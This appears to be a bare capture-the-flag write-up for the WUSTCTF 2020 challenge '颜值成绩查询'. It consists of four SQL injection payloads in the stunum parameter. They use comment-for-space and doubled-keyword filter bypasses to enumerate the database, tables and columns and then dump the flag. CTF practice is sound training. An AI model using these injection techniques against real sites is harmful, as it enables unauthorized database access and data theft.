[WUSTCTF 2020]颜值成绩查询

[WUSTCTF 2020]颜值成绩查询

?stunum=0/**/ununionion/**/select/**/1,2,database()%23

?stunum=0/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

?stunum=0/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()%23

?stunum=0/**/ununionion/**/select/**/1,2,group_concat(value)/**/from/**/ctf.flag%23